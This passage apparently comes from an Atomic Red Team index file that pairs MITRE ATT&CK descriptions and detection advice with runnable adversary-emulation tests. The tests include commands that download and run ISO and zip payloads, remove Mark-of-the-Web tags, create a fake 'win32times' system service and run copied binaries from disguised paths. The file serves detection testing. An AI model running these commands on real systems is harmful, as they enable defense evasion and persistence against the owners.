        prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml" -OutFile "#{filename}"
      executor:
        command: "#{msbuildpath}\\#{msbuildname} #{filename}\n"
        name: command_prompt
  T1134.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.003
        url: https://attack.mitre.org/techniques/T1134/003
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Make and Impersonate Token
      description: Adversaries may make and impersonate tokens to escalate privileges
        and bypass access controls. If an adversary has a username and password but
        the user is not logged onto the system, the adversary can then create a logon
        session for the user using the <code>LogonUser</code> function. The function
        will return a copy of the new session's access token and the adversary can
        use <code>SetThreadToken</code> to assign the token to a thread.
      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-02-18T18:03:37.481Z'
      created: '2020-02-18T18:03:37.481Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1553.005:
    technique:
      id: attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961
      description: |-
        Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

        Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
      name: Mark-of-the-Web Bypass
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1553.005
        url: https://attack.mitre.org/techniques/T1553/005
      - source_name: Microsoft Zone.Identifier 2020
        url: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
        description: Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved
          February 22, 2021.
      - source_name: Beek Use of VHD Dec 2020
        url: https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
        description: Beek, C. (2020, December 3). Investigating the Use of VHD Files
          By Cybercriminals. Retrieved February 22, 2021.
      - source_name: Outflank MotW 2020
        url: https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
        description: Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s
          perspective. Retrieved February 22, 2021.
      - source_name: Intezer Russian APT Dec 2020
        url: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
        description: 'Kennedy, J. (2020, December 9). A Zebra in Gopher''s Clothing:
          Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22,
          2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-13T22:47:08.289Z'
      created: '2021-02-22T14:20:31.650Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Christiaan Beek, @ChristiaanBeek
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Metadata'
      x_mitre_detection: Monitor compressed/archive and image files downloaded from
        the Internet as the contents may not be tagged with the MOTW. Data and events
        should not be viewed in isolation, but as part of a chain of behavior that
        could lead to other activities.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Anti-virus, Application control
      identifier: T1553.005
    atomic_tests:
    - name: Mount ISO image
      auto_generated_guid: 002cca30-4778-4891-878a-aaffcfa502fa
      description: 'Mounts ISO image downloaded from internet to evade Mark-of-the-Web.
        Upon successful execution, powershell will download the .iso from the Atomic
        Red Team repo, and mount the image. The provided sample ISO simply has a Reports
        shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

'
      supported_platforms:
      - windows
      input_arguments:
        path_of_iso:
          description: Path to ISO file
          type: Path
          default: PathToAtomicsFolder\T1553.005\bin\T1553.005.iso
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1553.005.iso must exist on disk at specified location (#{path_of_iso})

'
        prereq_command: 'if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}"
      executor:
        command: 'Mount-DiskImage -ImagePath "#{path_of_iso}"

'
        cleanup_command: 'Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

'
        name: powershell
    - name: Mount an ISO image and run executable from the ISO
      auto_generated_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc
      description: "Mounts an ISO image downloaded from internet to evade Mark-of-the-Web
        and run hello.exe executable from the ISO. \nUpon successful execution, powershell
        will download the .iso from the Atomic Red Team repo, mount the image, and
        run the executable from the ISO image that will open command prompt echoing
        \"Hello, World!\". \nISO provided by:https://twitter.com/mattifestation/status/1398323532988399620
        Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,
        \ "
      supported_platforms:
      - windows
      input_arguments:
        path_of_iso:
          description: Path to ISO file
          type: Path
          default: PathToAtomicsFolder\T1553.005\bin\FeelTheBurn.iso
      dependency_executor_name: powershell
      dependencies:
      - description: 'FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})

'
        prereq_command: 'if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}"
      executor:
        command: |
          $keep = Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
          $driveLetter = ($keep | Get-Volume).DriveLetter
          invoke-item "$($driveLetter):\hello.exe"
        cleanup_command: |
          Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
          Stop-process -name "hello" -Force -ErrorAction ignore
        name: powershell
    - name: Remove the Zone.Identifier alternate data stream
      auto_generated_guid: 64b12afc-18b8-4d3f-9eab-7f6cae7c73f9
      description: |
        Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
        Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
      supported_platforms:
      - windows
      input_arguments:
        file_to_download:
          description: File that will be downloaded to test against.
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md
        file_path:
          description: File to have the Zone.Identifier removed.
          type: String
          default: "$env:tmp\\ReadMe.md"
      dependency_executor_name: powershell
      dependencies:
      - description: A test file with the Zone.Identifier attribute must be present.
        prereq_command: 'if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }

'
        get_prereq_command: |
          Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
          Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
      executor:
        command: 'Unblock-File -Path #{file_path}

'
        cleanup_command: 'Set-Content -Path #{file_path} -Stream Zone.Identifier -Value
          ''[ZoneTransfer]'',''ZoneId=3''

'
        name: powershell
  T1036.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1036.004
        url: https://attack.mitre.org/techniques/T1036/004
      - url: https://technet.microsoft.com/en-us/library/bb490996.aspx
        description: Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.
        source_name: TechNet Schtasks
      - source_name: Systemd Service Units
        url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
        description: Freedesktop.org. (n.d.). systemd.service — Service unit configuration.
          Retrieved March 16, 2020.
      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        source_name: Palo Alto Shamoon Nov 2016
      - url: https://vms.drweb.com/virus/?i=4276269
        description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved
          December 7, 2017.
        source_name: Fysbis Dr Web Analysis
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Masquerade Task or Service
      description: |-
        Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

        Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
      id: attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-24T13:24:45.580Z'
      created: '2020-02-10T20:30:07.426Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: Look for changes to tasks and services that do not correlate
        with known software, patch cycles, etc. Suspicious program execution through
        scheduled tasks or services may show up as outlier processes that have not
        been seen before when compared against historical data. Monitor processes
        and command-line arguments for actions that could be taken to create tasks
        or services. Data and events should not be viewed in isolation, but as part
        of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Service: Service Creation'
      - 'Scheduled Job: Scheduled Job Metadata'
      - 'Scheduled Job: Scheduled Job Modification'
      x_mitre_platforms:
      - Windows
      - Linux
      identifier: T1036.004
    atomic_tests:
    - name: Creating W32Time similar named service using schtasks
      auto_generated_guid: f9f2fe59-96f7-4a7d-ba9f-a9783200d4c9
      description: Creating W32Time similar named service (win32times) using schtasks
        just like threat actor dubbed "Operation Wocao"
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f
          schtasks /query /tn win32times
        cleanup_command: 'schtasks /tn win32times /delete /f

'
        name: command_prompt
        elevation_required: true
    - name: Creating W32Time similar named service using sc
      auto_generated_guid: b721c6ef-472c-4263-a0d9-37f1f4ecff66
      description: Creating W32Time similar named service (win32times) using sc just
        like threat actor dubbed "Operation Wocao"
      supported_platforms:
      - windows
      executor:
        command: |
          sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1"
          sc qc win32times
        cleanup_command: 'sc delete win32times

'
        name: command_prompt
        elevation_required: true
  T1036:
    technique:
      created: '2017-05-31T21:30:38.511Z'
      modified: '2021-04-24T13:24:45.840Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1036
        url: https://attack.mitre.org/techniques/T1036
      - external_id: CAPEC-177
        source_name: capec
        url: https://capec.mitre.org/data/definitions/177.html
      - source_name: LOLBAS Main Site
        url: https://lolbas-project.github.io/
        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
          also Libraries). Retrieved February 10, 2020.
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
      - source_name: Twitter ItsReallyNick Masquerading Update
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
      description: |-
        Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

        Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)
      name: Masquerading
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.4'
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      - Nick Carr, FireEye
      - David Lu, Tripwire
      - Felipe Espósito, @Pr0teus
      - Elastic
      - Bartosz Jerzman
      x_mitre_data_sources:
      - 'Image: Image Metadata'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Service: Service Creation'
      - 'Scheduled Job: Scheduled Job Metadata'
      - 'Scheduled Job: Scheduled Job Modification'
      - 'File: File Metadata'
      - 'Process: Process Metadata'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application control by file name or path
      x_mitre_detection: |-
        Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

        If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

        Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      identifier: T1036
    atomic_tests:
    - name: System File Copied to Unusual Location
      auto_generated_guid: 51005ac7-52e2-45e0-bdab-d17c6d4916cd
      description: It may be suspicious seeing a file copy of an EXE in System32 or
        SysWOW64 to a non-system directory or executing from a non-system directory.
      supported_platforms:
      - windows
      executor:
        command: |-
          copy %WINDIR%\System32\cmd.exe /Y %ALLUSERSPROFILE%\cmd.exe
          start %ALLUSERSPROFILE%\cmd.exe
        cleanup_command: del %ALLUSERSPROFILE%\cmd.exe >nul 2>&1
        name: command_prompt
    - name: Malware Masquerading and Execution from Zip File
      auto_generated_guid: 4449c89b-ec82-43a4-89c1-91e2f1abeecc
      description: When the file is unzipped and the README.cmd file opened, it executes
        and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique
        [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: Location of zip file
          type: Url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip
      dependencies:
      - description: Zip file must be present.
        prereq_command: 'if (Test-Path $env:userprofile\Downloads\T1036.zip) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -OutFile "$env:userprofile\Downloads\T1036.zip"
          #{url}

'
      executor:
        command: |-
          Expand-Archive -Path $env:userprofile\Downloads\T1036.zip -DestinationPath $env:userprofile\Downloads\T1036 -Force
          cd $env:userprofile\Downloads\T1036
          cmd /c $env:userprofile\Downloads\T1036\README.cmd >$null 2>$null
        cleanup_command: |-
          taskkill /IM Calculator.exe /f >$null 2>$null
          Remove-Item $env:userprofile\Downloads\T1036 -recurse -ErrorAction Ignore
        name: powershell
  T1036.005:
    technique:
      id: attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2
      description: |-
        Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

        Adversaries may also use the same icon of the file they are trying to mimic.
      name: Match Legitimate Name or Location
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1036.005
        url: https://attack.mitre.org/techniques/T1036/005
      - external_id: CAPEC-177
        source_name: capec
        url: https://capec.mitre.org/data/definitions/177.html
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
      - source_name: Twitter ItsReallyNick Masquerading Update
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
      - source_name: Docker Images
        url: https://docs.docker.com/engine/reference/commandline/images/
        description: Docker. (n.d.). Docker Images. Retrieved April 6, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-20T19:23:37.762Z'
      created: '2020-02-10T20:43:10.239Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_data_sources:
      - 'Image: Image Metadata'
      - 'File: File Metadata'
      - 'Process: Process Metadata'
      x_mitre_detection: |-
        Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

        If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

        In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.
      x_mitre_defense_bypassed:
      - Application control by file name or path
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      identifier: T1036.005
    atomic_tests:
    - name: Execute a process from a directory masquerading as the current parent
        directory.
      auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
      description: 'Create and execute a process from a directory masquerading as
        the current parent directory (`...` instead of normal `..`)

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        test_message:
          description: Test message to echo out to the screen
          type: String
          default: Hello from the Atomic Red Team test T1036.005#1
      executor:
        name: sh
        elevation_required: false
        command: |
          mkdir $HOME/...
          cp $(which sh) $HOME/...
          $HOME/.../sh -c "echo #{test_message}"
        cleanup_command: |
          rm -f $HOME/.../sh
          rmdir $HOME/.../
  T1556:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556
        url: https://attack.mitre.org/techniques/T1556
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: Xorrior Authorization Plugins
        url: https://xorrior.com/persistent-credential-theft/
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-26T20:08:31.712Z'
      created: '2020-02-11T19:01:56.887Z'
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access)."
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
    atomic_tests: []
  T1578:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1578
        url: https://attack.mitre.org/techniques/T1578
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify Cloud Compute Infrastructure
      description: |-
        An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

        Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
      id: attack-pattern--144e007b-e638-431d-a894-45d90c54ab90
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-20T14:51:01.759Z'
      created: '2019-08-30T18:03:05.864Z'
      x_mitre_detection: Establish centralized logging for the activity of cloud compute
        infrastructure components. Monitor for suspicious sequences of events, such
        as the creation of multiple snapshots within a short period of time or the
        mount of a snapshot to a new instance by a new or unexpected user. To reduce
        false positives, valid change management procedures could introduce a known
        identifier that is logged with the change (e.g., tag or header) if supported
        by the cloud provider, to help distinguish valid, expected actions from malicious
        ones.
      x_mitre_data_sources:
      - 'Instance: Instance Stop'
      - 'Instance: Instance Start'
      - 'Instance: Instance Creation'
      - 'Instance: Instance Modification'
      - 'Instance: Instance Deletion'
      - 'Snapshot: Snapshot Creation'
      - 'Snapshot: Snapshot Modification'
      - 'Snapshot: Snapshot Deletion'
      - 'Volume: Volume Creation'
      - 'Volume: Volume Modification'
      - 'Volume: Volume Deletion'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1112:
    technique:
      id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify Registry
      description: |-
        Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

        Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

        Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

        The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.
      external_references:
      - source_name: mitre-attack
        external_id: T1112
        url: https://attack.mitre.org/techniques/T1112
      - external_id: CAPEC-203
        source_name: capec
        url: https://capec.mitre.org/data/definitions/203.html
      - url: https://technet.microsoft.com/en-us/library/cc732643.aspx
        description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
        source_name: Microsoft Reg
      - url: https://docs.microsoft.com/sysinternals/downloads/reghide
        description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved
          August 9, 2018.
        source_name: Microsoft Reghide NOV 2006
